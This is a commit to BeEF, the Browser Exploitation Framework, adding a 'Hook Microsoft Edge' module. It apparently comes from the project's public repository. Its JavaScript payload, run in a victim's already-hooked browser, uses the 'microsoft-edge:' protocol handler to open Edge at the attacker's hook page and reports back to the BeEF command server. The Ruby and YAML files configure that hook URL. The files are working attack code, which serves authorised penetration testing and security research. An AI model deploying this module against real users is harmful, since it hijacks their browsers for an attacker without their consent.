Add Hook Microsoft Edge module
This commit is contained in:
12
modules/host/hook_microsoft_edge/command.js
Normal file
12
modules/host/hook_microsoft_edge/command.js
Normal file
@@ -0,0 +1,12 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var edge_url = "<%== @url %>";
|
||||
window.location = 'microsoft-edge:' + edge_url;
|
||||
beef.debug("Attempted to open " + edge_url + " in Microsoft Edge.");
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Attempted to open " + edge_url + " in Microsoft Edge.");
|
||||
});
|
||||
15
modules/host/hook_microsoft_edge/config.yaml
Normal file
15
modules/host/hook_microsoft_edge/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
hook_microsoft_edge:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Hook Microsoft Edge"
|
||||
description: "This module will use the 'microsoft-edge:' protocol handler to attempt to hook Microsoft Edge (assuming it isn't currently hooked).<br/><br/>Note: the user will be prompted to open Microsoft Edge."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
user_notify: ["C"]
|
||||
25
modules/host/hook_microsoft_edge/module.rb
Normal file
25
modules/host/hook_microsoft_edge/module.rb
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
class Hook_microsoft_edge < BeEF::Core::Command
|
||||
def self.options
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
|
||||
hook_uri = "#{proto}://#{beef_host}:#{beef_port}/demos/plain.html"
|
||||
|
||||
return [
|
||||
{'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['result'] = @datastore['result']
|
||||
save content
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user